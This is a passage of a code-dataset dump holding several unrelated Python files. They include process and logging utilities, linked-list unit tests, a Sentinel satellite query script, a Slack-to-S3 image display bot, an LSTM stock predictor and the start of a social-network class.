self._color.fmt(msg, self._color.fg_cyan)\n        elif record.levelno == logging.ERROR:\n            msg = self._color.fmt(msg, self._color.fg_bright_red)\n        elif record.levelno == logging.WARNING:\n            msg = self._color.fmt(msg, self._color.fg_bright_yellow)\n\n        return msg\n\n\ndef setup_logging(logger, progname, debug=False, quiet=False, logfile=None):\n    \"\"\"\n  Setup Python logging\n  :param logger: Handle to logger object\n  :param progname: Name of application or service\n  :param debug: True if debugging enabled\n  :param quiet: True if quiet output selected.\n  :param logfile: Path and filename to log file to output to\n  :return: Nothing\n  \"\"\"\n    if not logger:\n        return False\n\n    # Set our logging options and formatter now that we have the program arguments.\n    if debug:\n        logging.basicConfig(filename=os.devnull, datefmt=\"%Y-%m-%d %H:%M:%S\", level=logging.DEBUG)\n        formatter = _ToolLoggingFormatter(\"%(asctime)s {0}: %(levelname)s: %(message)s\".format(progname))\n    else:\n        logging.basicConfig(filename=os.devnull, datefmt=\"%Y-%m-%d %H:%M:%S\",\n                            level=logging.WARNING if quiet else logging.INFO)\n        # formatter = logging.Formatter('%(levelname)s: {0}: %(message)s'.format(progname))\n        formatter = _ToolLoggingFormatter(\"%(message)s\")\n\n    # Setup stream logging handler\n    handler = logging.StreamHandler(sys.stdout)\n    handler.flush = sys.stdout.flush\n    handler.setFormatter(formatter)\n\n    logger.addHandler(handler)\n\n    # Setup file logging handler\n    if logfile:\n\n        # make sure the path exists\n        logpath = os.path.dirname(os.path.abspath(os.path.expanduser(logfile)))\n\n        if not os.path.exists(logpath):\n            os.makedirs(logpath)\n\n        handler = logging.FileHandler(logfile)\n        handler.setFormatter(logging.Formatter(\"%(asctime)s {0}: %(levelname)s: %(message)s\".format(progname)))\n\n        logger.addHandler(handler)\n\n\ndef which(program):\n    \"\"\"\n  Find the path for a given program\n  http://stackoverflow.com/questions/377017/test-if-executable-exists-in-python\n  :param program: name of executable file to find\n  \"\"\"\n\n    try:\n        path_spec = os.environ[\"PATH\"]\n    except KeyError:\n        # for weird times when we don't have a good environment\n        path_spec = \"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin:/root/bin\"\n\n    def is_exe(fpath):\n        return os.path.isfile(fpath) and os.access(fpath, os.X_OK)\n\n    # pylint: disable=unused-variable\n    fpath, fname = os.path.split(program)\n    if fpath:\n        if is_exe(program):\n            return program\n    else:\n        for path in path_spec.split(os.pathsep):\n            path = path.strip('\"')\n            exe_file = os.path.join(path, program)\n            if is_exe(exe_file):\n                return exe_file\n\n    return None\n\n\ndef run_external_program(args, cwd=None, env=None, shell=False, debug=False):\n    \"\"\"\n  Run an external program, arguments\n  :param args: program name plus arguments in a list\n  :param cwd: Current working directory\n  :param env: A modified environment to use\n  :param shell: Use shell to execute command\n  :param debug: Add '--debug' to args if '--debug' is in sys.argv\n  :return: exit code, stdoutdata, stderrdata\n  \"\"\"\n\n    if not args:\n        _logger.debug(\"run_external_program: bad arguments\")\n        return -1, None, None\n\n    if debug is True and \"--debug\" in sys.argv and \"--debug\" not in args:\n        args.append(\"--debug\")\n\n    _logger.debug(\"external: {0}\".format(os.path.basename(args[0])))\n\n    p = subprocess.Popen(args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env, shell=shell)\n    stdoutdata, stderrdata = p.communicate()\n    p.wait()\n\n    if isinstance(stdoutdata, (bytes, bytearray)):\n        stdoutdata = stdoutdata.decode(\"utf-8\")\n    if isinstance(stderrdata, (bytes, bytearray)):\n        stderrdata = stderrdata.decode(\"utf-8\")\n\n    return p.returncode, stdoutdata, stderrdata\n\n\ndef is_valid_email(email):\n    \"\"\"\n  Validate email parameter is a valid formatted email address\n  :param email: string containing email address\n  :return: True if email is valid otherwise False\n  \"\"\"\n    if not email:\n        return False\n\n    return bool(re.match(\"^.+@(\\[?)[a-zA-Z0-9-.]+.([a-zA-Z]{2,3}|[0-9]{1,3})(]?)$\", email))\n\n\ndef signal_process(name, signal_code=signal.SIGHUP):\n    \"\"\"\n  Send a signal to a program\n  :param name: name of the executable, not a systemd service name\n  :param signal_code: signal code from signal object\n  \"\"\"\n    pid = None\n\n    prog = which(\"pidof\")\n\n    if not prog:\n        _logger.error('unable to locate \"pidof\" executable.')\n        return False\n\n    # Get the process id\n    try:\n\n        args = shlex.split(\"{0} {1}\".format(prog, name))\n        pid = int(subprocess.check_output(args).decode(\"utf-8\").strip())\n    except subprocess.CalledProcessError:\n        _logger.error(\"failed to get program pid ({0})\".format(name))\n\n    # Send signal to process\n    if pid:\n        os.kill(pid, signal_code)\n        _logger.debug(\"send signal to {0} complete\".format(name))\n        return True\n\n    _logger.debug(\"send signal to {0} failed\".format(name))\n\n    return False\n\n\ndef pid_is_running(pid: int):\n    \"\"\"\n  Check For the existence of a unix pid.\n  :param pid: integer ID of this process\n  :return: True if process with this ID is running, otherwise False\n  \"\"\"\n    # See if there is a currently running mysqld instance\n    # pylint: disable=unused-variable\n    args = ['ps', '-eo', 'ruid,pid,ppid,args']\n    code, so, se = run_external_program(args=args)\n    if code == 0:\n        lines = so.split('\\n')\n        for line in lines:\n            if str(pid) in line:\n                while '  ' in line:\n                    line = line.replace('  ', ' ')\n                if pid == int(line.strip().split(' ')[1]) and '<defunct>' not in line:\n                    return True\n    return False\n\n\ndef get_process_pids(matches: list) -> list:\n    \"\"\"\n    Get the pids of a currently running process.  May match more than one running process.\n    :param matches: parts of process command to match in process list\n    :return: List of PIDs\n    \"\"\"\n    pids = list()\n\n    if not matches or len(matches) == 0:\n        raise ValueError('matches list may not be empty.')\n\n    for match in matches:\n        if not isinstance(match, str):\n            raise ValueError('invalid match value, must be string.')\n\n    # See if there is a currently running mysqld instance\n    # pylint: disable=unused-variable\n    args = ['ps', '-ef']\n    code, so, se = run_external_program(args=args)\n    if code == 0:\n        lines = so.split('\\n')\n        for line in lines:\n            no_match = False\n            for match in matches:\n                if match not in line:\n                    no_match = True\n                    break\n\n            if no_match is True:\n                continue\n            while '  ' in line:\n                line = line.replace('  ', ' ')\n            pids.append(int(line.split(' ')[1]))\n\n    return pids\n\n\ndef write_pidfile_or_die(progname: str, pid_file: str = None):\n    \"\"\"\n  Attempt to write our PID to the given PID file or raise an exception.\n  :param progname: Name of this program\n  :param pid_file: an alternate path and pid file to use\n  :return: pid path and filename\n  \"\"\"\n    if not pid_file:\n        home = os.path.expanduser(\"~\")\n        pid_path = os.path.join(home, \".local/run\")\n        pid_file = os.path.join(pid_path, \"{0}.pid\".format(progname))\n    else:\n        pid_path = os.path.dirname(pid_file)\n\n    if not os.path.exists(pid_path):\n        os.makedirs(pid_path)\n\n    if os.path.exists(pid_file):\n        pid = int(open(pid_file).read())\n\n        if pid_is_running(pid):\n            _logger.warning(\"program is already running, aborting.\")\n            raise SystemExit\n\n        else:\n            os.remove(pid_file)\n\n    open(pid_file, \"w\").write(str(os.getpid()))\n\n    return pid_file\n\n\ndef remove_pidfile(progname: str, pid_file: str = None):\n    \"\"\"\n  Remove the PID file for the given program\n  :param progname: Name of this program\n  :param pid_file: an alternate pid file to use\n  \"\"\"\n    if not pid_file:\n        home = os.path.expanduser(\"~\")\n        pid_path = os.path.join(home, \".local/run\")\n        pid_file = os.path.join(pid_path, \"{0}.pid\".format(progname))\n\n    if os.path.exists(pid_file):\n        os.remove(pid_file)\n\n\ndef print_progress_bar(iteration, total, prefix=\"\", suffix=\"\", decimals=1, bar_length=90, fill=\"█\"):\n    \"\"\"\n  Call in a loop to create terminal progress bar.\n  https://stackoverflow.com/questions/3173320/text-progress-bar-in-the-console\n  https://gist.github.com/aubricus/f91fb55dc6ba5557fbab06119420dd6a\n  :param iteration: Required  : current iteration (Int)\n  :param total: Required  : total iterations (Int)\n  :param prefix: Optional  : prefix string (Str)\n  :param suffix: Optional  : suffix string (Str)\n  :param decimals: Optional  : positive number of decimals in percent complete (Int)\n  :param bar_length: Optional  : character length of bar (Int)\n  :param fill: Optional  : bar fill character (Str)\n  \"\"\"\n    str_format = \"{0:.\" + str(decimals) + \"f}\"\n    percents = str_format.format(100 * (iteration / float(total)))\n    filled_length = int(round(bar_length * iteration / float(total)))\n    bar = fill * filled_length + \"-\" * (bar_length - filled_length)\n\n    sys.stdout.write(\"\\r{0} [{1}] {2}{3} {4}\".format(prefix, bar, percents, \"%\", suffix))\n\n    if iteration == total:\n        sys.stdout.write(\"\\n\")\n    sys.stdout.flush()\n\n\ndef git_project_root(path=None):\n    \"\"\"\n    Figure out the git project top level directory.\n    :param path: optional: path to check.\n    :return: Git project root path or None\n    \"\"\"\n    cwd = os.curdir\n    if path:\n        if not os.path.exists(path):\n            raise ValueError('Invalid directory path argument')\n        os.chdir(path)\n\n    args = ['git', 'rev-parse', '--show-toplevel']\n    # pylint: disable=unused-variable\n    code, so, se = run_external_program(args=args)\n\n    os.chdir(cwd)\n\n    if code == 0:\n        return so.strip()\n\n    return None\n","repo_name":"katie-snow/QtPyUltimarc","sub_path":"ultimarc/system_utils.py","file_name":"system_utils.py","file_ext":"py","file_size_in_byte":13841,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"}
{"seq_id":"19161055878","text":"import unittest\n\nfrom datastructures_and_algorithms.doubly_linked_list import DoublyLinkedList\nfrom datastructures_and_algorithms.exceptions.StackEmptyException import StackEmptyException\n\n\nclass TestStack(unittest.TestCase):\n\n    def test_front(self):\n\n        dll = DoublyLinkedList()\n        dll.insert_front(9)\n        dll.insert_front(2)\n        dll.insert_front(3)\n\n        pop1 = dll.pop_front()\n        pop2 = dll.pop_front()\n        pop3 = dll.pop_front()\n\n        self.assertEqual(3, pop1, \"Pop front is broken\")\n        self.assertEqual(2, pop2, \"Pop front is broken \")\n        self.assertEqual(9, pop3, \"Pop front is broken\")\n\n    def test_back(self):\n\n        dll = DoublyLinkedList()\n        dll.insert_back(9)\n        dll.insert_back(2)\n        dll.insert_back(3)\n\n        pop1 = dll.pop_back()\n        pop2 = dll.pop_back()\n        pop3 = dll.pop_back()\n\n        self.assertEqual(3, pop1, \"Pop back is broken\")\n        self.assertEqual(2, pop2, \"Pop back is broken \")\n        self.assertEqual(9, pop3, \"Pop back is broken\")\n\n    def test_queue(self):\n\n        dll = DoublyLinkedList()\n        dll.insert_front(9)\n        dll.insert_front(2)\n        dll.insert_front(3)\n\n        pop1 = dll.pop_back()\n        pop2 = dll.pop_back()\n        pop3 = dll.pop_back()\n\n        self.assertEqual(9, pop1, \"Pop back is broken\")\n        self.assertEqual(2, pop2, \"Pop back is broken \")\n        self.assertEqual(3, pop3, \"Pop back is broken\")\n\n    def test_reverse_queue(self):\n\n        dll = DoublyLinkedList()\n        dll.insert_back(9)\n        dll.insert_back(2)\n        dll.insert_back(3)\n\n        pop1 = dll.pop_front()\n        pop2 = dll.pop_front()\n        pop3 = dll.pop_front()\n\n        self.assertEqual(9, pop1, \"Pop back is broken\")\n        self.assertEqual(2, pop2, \"Pop back is broken \")\n        self.assertEqual(3, pop3, \"Pop back is broken\")\n\n    def test_counter_works(self):\n\n        dll = DoublyLinkedList()\n        counter = len(dll)\n\n        self.assertEqual(0, counter, \"Counter is broken (0)\")\n\n        dll.insert_front(9)\n        dll.insert_front(2)\n        dll.insert_front(3)\n\n        counter3 = len(dll)\n\n        self.assertEqual(3, counter3, \"Counter is broken (After insert)\")\n\n        dll.pop_front()\n        dll.pop_front()\n\n        counter1 = len(dll)\n\n        self.assertEqual(1, counter1, \"Counter is broken (After insert, then pop)\")\n\n    def test_raises_exception_for_empty_list(self):\n\n        dll = DoublyLinkedList()\n        self.assertRaises(StackEmptyException, dll.pop_front)\n","repo_name":"michaelstresing/database-structures","sub_path":"tests/test_doubly_linked_list.py","file_name":"test_doubly_linked_list.py","file_ext":"py","file_size_in_byte":2520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27214281211","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Aug 22 10:12:00 2019\r\n\r\n@author: Nejc Coz\r\n@copyright: ZRC SAZU (Novi trg 2, 1000 Ljubljana, Slovenia)\r\n\r\nIMPORTANT: Set your SciHUB account credentials in apihub.txt!\r\n\r\nThe script creates CSV file containing the list of files to be downloaded from\r\nSciHUB API. The list includes file ID, title, and downloaded status.\r\n\"\"\"\r\n\r\nimport os\r\nimport sys\r\n\r\nfrom shapely.geometry import box\r\nfrom sentinelsat import SentinelAPI\r\n# from sentinelsat import read_geojson, geojson_to_wkt\r\n\r\n\r\ndef main(csvpath, apipath, qp):\r\n    # Read password file\r\n    # ==================\r\n    try:\r\n        with open(apipath) as f:\r\n            (usrnam, psswrd) = f.readline().split(\" \")\r\n            if psswrd.endswith(\"\\n\"):\r\n                psswrd = psswrd[:-1]\r\n    except IOError:\r\n        sys.exit(\"Error reading the password file!\")\r\n\r\n    # Connect to API using <username> and <password>\r\n    # ===============================================\r\n    print(\"Connecting to SciHub API...\")\r\n    api = SentinelAPI(usrnam, psswrd, \"https://scihub.copernicus.eu/dhus\")\r\n\r\n    # Search by SciHub query keywords\r\n    # ===============================\r\n    products = api.query(qp['footprint'],\r\n                         beginposition=(qp['strtime'], qp['endtime']),\r\n                         endposition=(qp['strtime'], qp['endtime']),\r\n                         platformname=qp['platformname'],\r\n                         producttype=qp['producttype'])\r\n\r\n    # Convert to Pandas DataFrame and sort by date ascending\r\n    # ======================================================\r\n    products_df = api.to_dataframe(products)\r\n    products_df_sorted = products_df.sort_values('beginposition', ascending=True)\r\n\r\n    # Save to CSV file\r\n    # ================\r\n    print(f\"Saving list to {os.path.basename(csvpath)}\")\r\n    prep_csv = products_df_sorted[['uuid', 'title']]\r\n    prep_csv.insert(2, \"downloaded\", False, allow_duplicates=True)\r\n    prep_csv.to_csv(csvpath, index=False)\r\n\r\n    print('Finished!')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    # Path to CSV file with a list of products to be triggered\r\n    csv_pth = \".\\\\userfiles\\\\slc_list.csv\"\r\n\r\n    # Path to file with SciHub credentials\r\n    api_pth = \".\\\\userfiles\\\\apihub.txt\"\r\n\r\n    # Set query parameters\r\n    ############################################################################\r\n    #   * (Date-type query parameter 'beginposition' expects a two-element tuple\r\n    #     of str or datetime objects.)\r\n    #   * Search for last 24 hrs: date=('NOW-8HOURS', 'NOW') or NOW-<n>DAY(S) or\r\n    #     datetime(2017, 1, 5, 23, 59, 59, 999999) + import datetime or string\r\n    #     '2017-12-31T23:59:59.999Z'\r\n    strtime = '2017-01-01T00:00:00.000Z'  # 'NOW-14DAYS'\r\n    endtime = '2017-12-31T23:59:59.999Z'  # '2019-07-31T23:59:59.999Z'\r\n\r\n    # Platform name:\r\n    platformname = 'Sentinel-1'\r\n\r\n    # Product type:\r\n    producttype = 'SLC'\r\n\r\n    # Geographical extents (minx, miny, maxx, maxy)\r\n    footprint = box(13.278422963870495, 45.33663869316604,\r\n                    16.687265418304985, 46.96845660190081)\r\n    # nam_aoi = 'polygon.geojson'\r\n    # pth_aoi = join(wrkdir, nam_aoi)\r\n    # footprint = geojson_to_wkt(read_geojson(pth_aoi))\r\n\r\n    query_params = {\r\n        'strtime': strtime,\r\n        'endtime': endtime,\r\n        'platformname': platformname,\r\n        'producttype': producttype,\r\n        'footprint': footprint\r\n    }\r\n\r\n    main(csv_pth, api_pth, query_params)\r\n","repo_name":"EarthObservation/SciHUB_downloader","sub_path":"query_list_LTA.py","file_name":"query_list_LTA.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"22950418609","text":"import json\nimport random\nimport string\nimport time\nfrom os import environ\nfrom os.path import splitext, basename\nfrom urlparse import urlparse\nimport sys\n\nimport boto3\nfrom botocore.exceptions import ClientError\nimport requests\nfrom slackclient import SlackClient\n\n'''\nThe logic in this script wires a slack channel to s3\n\nThe partner to this script simply displays the latest image_filename\n(reading the values we update below in current.json)\n\nBe sure to create settings.sh (from the example) and run it\nbefore running this script,\n\n$ source ./settings.sh\n'''\n\naws_access_key_id = environ['AWS_ACCESS_KEY_ID']\naws_secret_access_key = environ['AWS_SECRET_ACCESS_KEY']\naws_bucket_name = environ['AWS_BUCKET_NAME']\nslack_token = environ['SLACK_TOKEN']\nslack_channel = environ['SLACK_CHANNEL']\n\n# Possible values for screens. config this.\nscreens = ['racehorse', 'icecream', 'strawberry', 'pepper', 'balloon', 'banana', 'blowfish']\n# the screen where an image will appear when it's first posted\ndefault_screen = screens[0]\n\n\ndef main():\n    existing_status = get_start_state()\n    # Our connection to the Slack API\n    sc = SlackClient(slack_token)\n    if sc.rtm_connect():\n        while True:\n            existing_status = build_config(existing_status, sc)\n            time.sleep(1)\n    else:\n        print(\"Connection to Slack unavailable\")\n\n\ndef get_start_state():\n    \"\"\" Get current.json from the S3 bucket \"\"\"\n    s3 = s3_connect()\n    try:\n        s3.Bucket(aws_bucket_name).download_file('current.json', 'current.json')\n    except ClientError as e:\n        if e.response['Error']['Code'] == \"404\":\n            sys.exit(\"current.json does not exist -- stopping\")\n        else:\n            raise\n    with open('current.json', 'r') as json_file:\n        data = json.load(json_file)\n    return data\n\n\ndef s3_connect():\n    \"\"\" Connect to S3 and return the session resource \"\"\"\n    session = boto3.Session(aws_access_key_id=aws_access_key_id,\n                            aws_secret_access_key=aws_secret_access_key)\n    return session.resource(\"s3\")\n\n\ndef post_image_to_aws(image_url, filename, file_ext, held_by_slack=False):\n    \"\"\" Put an image in an S3 bucket \"\"\"\n\n    # Slack headers\n    slack_request_headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 '\n                                           '(KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'}\n    auth_value = 'Bearer %s' % slack_token\n    slack_request_headers['Authorization'] = auth_value\n\n    if held_by_slack:\n        response = requests.get(image_url, headers=slack_request_headers)\n    else:\n        response = requests.get(image_url)\n\n    data = response.content\n\n    image_filename = '%s%s' % (filename, file_ext)\n\n    # post image with new filename to s3\n    s3 = s3_connect()\n    s3.Bucket(aws_bucket_name).put_object(Key=image_filename, Body=data)\n\n    return image_filename\n\n\ndef update_current(generated_status):\n    \"\"\" Write current.json to the S3 bucket \"\"\"\n    s3 = s3_connect()\n    s3.Object(aws_bucket_name, 'current.json').put(Body=json.dumps(generated_status), CacheControl='max-age=1')\n\n\ndef extract_reactions(obj):\n    \"\"\" Get reactions aka emoji from a Slack message or file \"\"\"\n    destinations = []\n    bgcolor = '#fff'\n    if 'reactions' in obj.keys():\n        for reaction in obj['reactions']:\n            if reaction['name'] in screens:\n                destinations.append(reaction['name'])\n            elif 'night' in reaction['name']:\n                bgcolor = \"#000\"\n    if not destinations:\n        destinations = [default_screen]\n    return destinations, bgcolor\n\n\ndef generate_filename(status):\n    \"\"\" Create a random filename -- don't collide with recent filenames \"\"\"\n    existing = [x.split('.')[0] for x in status['_mapping'].values()]\n    while True:\n        filename = ''.join(random.choice(string.ascii_uppercase) for _ in range(6))\n        if filename not in existing:\n            return filename\n\n\ndef update_status(destinations, bgcolor, existing_status, generated_status, slack_image_id, url, held_by_slack):\n    \"\"\" Upload image to S3 if necessary, then update the generated status \"\"\"\n    url_pieces = urlparse(url)\n    file_ext = splitext(basename(url_pieces.path))[1]\n    not_uploaded = True\n    image_filename = None\n    if slack_image_id in existing_status['_mapping']:\n        image_filename = existing_status['_mapping'][slack_image_id]\n        s3 = s3_connect()\n        try:\n            s3.Object(aws_bucket_name, image_filename).load()\n            not_uploaded = False\n        except ClientError as e:\n            if e.response['Error']['Code'] == \"404\":\n                not_uploaded = True\n            else:\n                raise\n    if not_uploaded:\n        print(\"uploading to bucket...\")\n        filename = generate_filename(existing_status)\n        image_filename = post_image_to_aws(url, filename, file_ext, held_by_slack=held_by_slack)\n        existing_status['_mapping'][slack_image_id] = image_filename\n    for destination in destinations:\n        generated_status[destination] = {'id': slack_image_id, 'url': image_filename, 'bg': bgcolor}\n    generated_status['_mapping'] = existing_status['_mapping']\n    return generated_status\n\n\ndef build_config(existing_status, sc):\n    \"\"\"\n\n    Our destinations will be bundled in a json object that kinda looks like\n    this (and is the thing watched by the js, current.js, in the screen's\n    browser to see if it needs to update its pic)\n\n    {\n    'racehorse': { 'url': 'http:// bucket at s3'},\n                    'id': 'some slack generated guid',\n                    'bg': '#fff'},\n\n    'icecream':  { 'url': 'http:// bucket at s3'},\n                    'id': 'some slack generated guid',\n                    'bg': '#000'},\n    }\n    \"\"\"\n\n    generated_status = {}\n    # retrieve recent posts in our channel\n    history = sc.api_call('channels.history', channel=slack_channel, inclusive='true', count=len(screens))\n\n    # find images posted to channel and build status to update\n    # probably not great to rely on order like this:\n    messages = history['messages']\n    messages.reverse()\n    for kl in messages:\n        if 'ts' in kl:\n            slack_image_id = kl['ts']\n            # uploaded image\n            if 'files' in kl:\n                file_info = kl['files'][0]\n                if 'url_private' in file_info:\n                    # see if we have reactions along with our uploaded file\n                    destinations, bgcolor = extract_reactions(file_info)\n                    url = file_info['url_private']\n                    generated_status = update_status(destinations, bgcolor, existing_status, generated_status,\n                                                     slack_image_id, url, held_by_slack=True)\n\n            # if someone pastes text with a link to an image in it\n            elif 'attachments' in kl.keys() and 'image_url' in kl['attachments'][0].keys():\n                destinations, bgcolor = extract_reactions(kl)\n                url = kl['attachments'][0]['image_url']\n                generated_status = update_status(destinations, bgcolor, existing_status, generated_status,\n                                                 slack_image_id, url, held_by_slack=False)\n\n    if generated_status:\n        update_current(generated_status)\n        existing_status = generated_status\n\n    return existing_status\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"harvard-lil/stove","sub_path":"display-with-urls.py","file_name":"display-with-urls.py","file_ext":"py","file_size_in_byte":7409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34062122660","text":"import math\nimport numpy as np\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.metrics import r2_score\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM\nfrom utilities import *\nimport altair as alt\n\n\n# Function to create a model which will predict the stock price for the next day.\ndef stock_predictor(ticker, start, end):\n    # Variable to hold the long name of a specific ticker.\n    name = get_company_name_long(ticker)\n    # Set seed to produce consistent results.\n    np.random.seed(8)\n    # Get the stock data\n    df = get_stock_data(ticker, start, end)\n    # Create new dataframe with only close column\n    data = df.filter(['Close'])\n    # Convert to numpy array\n    dataset = data.values\n    # Get the number of rows to train the model on. In this case, we selected 80% of the data (4 years) to train\n    # the model with. This number can be shifted either up or down to see how that would change the results\n    # of the model.\n    training_data_len = math.ceil(len(dataset) * .8)\n    # Scale the data - this will squeeze the values to be between 0 and 1 for processing by the model.\n    scaler = MinMaxScaler(feature_range=(0, 1))\n    scaled_data = scaler.fit_transform(dataset)\n    # Create the scaled training dataset\n    train_data = scaled_data[0:training_data_len, :]\n    # Split the data into x_train and y_train data sets\n    x_train = []\n    y_train = []\n    for i in range(60, len(train_data)):\n        x_train.append(train_data[i - 60:i, 0])\n        y_train.append(train_data[i, 0])\n    # Convert the x_train and y_train to numpy arrays\n    x_train, y_train = np.array(x_train), np.array(y_train)\n    # Reshape the x_train dataset\n    x_train = np.reshape(x_train, (x_train.shape[0], x_train.shape[1], 1))\n    # Build the LSTM model\n    model = Sequential()\n    model.add(LSTM(50, return_sequences=True, input_shape=(x_train.shape[1], 1)))\n    model.add(LSTM(50, return_sequences=False))\n    model.add(Dense(25))\n    model.add(Dense(1))\n    # Compile the model\n    model.compile(optimizer='adam', loss='mean_squared_error')\n    # Train the model. Here we set the epochs to 1 but this number can be anything in the range of 1 - N. However,\n    # this causes the processing of the model to increase at a rate of O(N) meaning 10 epochs will take approximately\n    # 10 times as much time to process as 1 epoch.\n    model.fit(x_train, y_train, batch_size=1, epochs=1)\n    # Create the testing data set with scaled data.\n    test_data = scaled_data[training_data_len - 60:, :]\n    # Create the data sets x_test and y_test to test the prediction capability of the model.\n    x_test = []\n    # y_test will hold the actual values for the stock market days we are trying to predict.\n    y_test = dataset[training_data_len:, :]\n    for i in range(60, len(test_data)):\n        x_test.append(test_data[i - 60:i, 0])\n    # Convert the data to a numpy array\n    x_test = np.array(x_test)\n    # Reshape the data\n    x_test = np.reshape(x_test, (x_test.shape[0], x_test.shape[1], 1))\n    # Get the models predictions\n    predictions = model.predict(x_test)\n    predictions = scaler.inverse_transform(predictions)\n    # Get the r2 value to evaluate the accuracy of the model.\n    accuracy = r2_score(y_test, predictions)\n    st.write(f\"R2 score of this model is {accuracy:.2f}\")\n    # Plot the data. This plot shows predicted vs. actual closing price for the selected stock.\n    valid = data[training_data_len:]\n    valid['Predictions'] = predictions\n    data = valid.reset_index().melt('Date')\n    data2 = data.rename(columns={\"value\": \"Amount\", \"variable\": \"Measure\"}, errors=\"raise\")\n    alt_chart = alt.Chart(data2).mark_line().encode(\n        x='Date',\n        y='Amount',\n        color='Measure'\n    ).properties(title=f\"Predicted vs. Actual Closing Price for {name}\", height=500, width=750).interactive()\n    st.write(alt_chart)\n    # Scatter plot for predicted vs close prices; this shows how close the model's predicted values aligned with\n    # the actual closing prices for the selected stock. A 45-degree angle would mean the model perfectly predicted\n    # the closing price.\n    scatter = alt.Chart(valid).mark_circle(size=60).encode(\n        alt.X('Close',\n              scale=alt.Scale(zero=False)\n              ),\n        alt.Y('Predictions',\n              scale=alt.Scale(zero=False)\n              )\n    ).properties(title=f\"Predicted vs. Actual Closing Price for {name}\", height=450, width=670).interactive()\n    st.write(scatter)\n    # Histogram chart showing the distribution of errors in terms of % for predicted vs. actual stock prices.\n    valid['Error $'] = valid['Predictions'] - valid['Close']\n    valid['Error %'] = valid['Error $'] / valid['Close']\n    valid['Error %'] = valid['Error %'] * 100\n    histogram = alt.Chart(valid).mark_bar().encode(\n        alt.X(\"Error %\", bin=True),\n        y='count()',\n    ).properties(title=f\"Predicted price error for {name}\", height=450, width=670).interactive()\n    st.write(histogram)\n    # Predict the next day's closing price\n    # Get the quote\n    stock_data = get_stock_data(ticker, start, end)\n    new_df = stock_data.filter(['Close'])\n    # Get the last 60 days closing price and convert the dataframe to an array\n    last_60_days = new_df[-60:].values\n    # Scale the data to be values between 0 and 1\n    last_60_days_scaled = scaler.transform(last_60_days)\n    # Create a list with the last 60 days.\n    X_test = [last_60_days_scaled]\n    # Convert to numpy array\n    X_test = np.array(X_test)\n    # Reshape the data\n    X_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\n    # Get predicted scaled price\n    predicted_price = model.predict(X_test)\n    # Undo the scaling\n    predicted_price = scaler.inverse_transform(predicted_price)\n    # Get last predicted value\n    length = len(valid)\n    prediction_values = valid['Predictions']\n    last_day = prediction_values.iloc[length - 1]\n    predicted_price_value = predicted_price.item(0)\n    # Check if predicted value went up or down. If predicted price is higher, recommend buying the stock.\n    # If the predicted price is lower, recommend selling the stock.\n    if last_day < predicted_price:\n        st.write(f\"Predicted stock price for {name} tomorrow is {predicted_price_value:.2f}. This is greater\"\n                 f\" than the previous predicted price of {last_day:.2f}, therefore The Prophet \"\n                 f\"recommends buying {name} stock.\")\n    else:\n        st.write(f\"Predicted stock price for {name} tomorrow is {predicted_price_value:.2f}. This is less\"\n                 f\" than the previous predicted price of {last_day:.2f}, therefore The Prophet \"\n                 f\"recommends selling {name} stock.\")\n","repo_name":"jeremyallencpa/stock_prediction_streamlit","sub_path":"stock_predictor.py","file_name":"stock_predictor.py","file_ext":"py","file_size_in_byte":6709,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"636225624","text":"from typing import Optional\nfrom user import User\n\n\nclass InconsistentException(Exception):\n    \"\"\"\n    Exception raised when the social network is inconsistent.\n    \"\"\"\n    def __init__(self, friend, user):\n        Exception.__init__(self, f\"Inconsistent social network. User '{friend}' is friend with user '{user}' but the \"\n                                 f\"reverse is not true.\")\n\n\nclass SocialNetwork:\n    \"\"\"\n    Encapsulation of the users and their friends.\n    \"\"\"\n    users: dict[str, User]\n    common_friends: dict[(str, str), int]\n\n    def __init__(self):\n        \"\"\"\n        Initialises the map of users to empty and common friends to None.\n        \"\"\"\n        self.users = {}\n        self.common_friends = None\n\n    def add_user(self, user_name: str) -> User:\n        \"\"\"\n        Adds a user to the network if it does not exist.\n        :param user_name: name of the user to add.\n        :return: user object corresponding to the given name.\n        \"\"\"\n        if user_name not in self.users:\n            self.users[user_name] = User(user_name)\n        return self.users[user_name]\n\n    def add_friend(self, user_name: str, friend_name: str) -> User:\n        \"\"\"\n        Associates a user to a new friend.\n        :param user_name: name of user to associate.\n        :param friend_name: name of friend to associate with.\n        :return: user object corresponding to the friend.\n        \"\"\"\n        user: User = self.add_user(user_name)\n        friend: User = self.add_user(friend_name)\n        user.add_friend(friend_name)\n        # friend.add_friend(user_name)\n        return friend\n\n    def get_user(self, user_name: str) -> Optional[User]:\n        \"\"\"\n        Gets the user associated with given name, if any.\n        :param user_name: name of user to get.\n        :return: user object corresponding to the name or None.\n        \"\"\"\n        if user_name in self.users:\n            return self.users[user_name]\n        return None\n\n    def get_friends(self, user_name: str) -> list[User]:\n        \"\"\"\n        Gets the list of objects corresponding to the friends of the given user.\n        :param user_name: name of user to get friends of, if any.\n        :return: list of friend objects or empty list if user does not exist.\n        \"\"\"\n        user: User = self.get_user(user_name)\n        if user is None:\n            return []\n        result: list[User] = []\n        for friend_name in user.friend_names:\n            friend: User = self.get_user(friend_name)\n            result += [friend]\n        return result\n\n    # Feature 2 i.\n    def generate_common_friends(self, common_friends: dict[(str, str), int]) -> dict[str, list[int]]:\n        \"\"\"\n        Generates a matrix containing the number of common friends for every pair of users in the social network.\n        :param common_friends: dictionary containing a pair of users as the keys and the number of common friends as\n        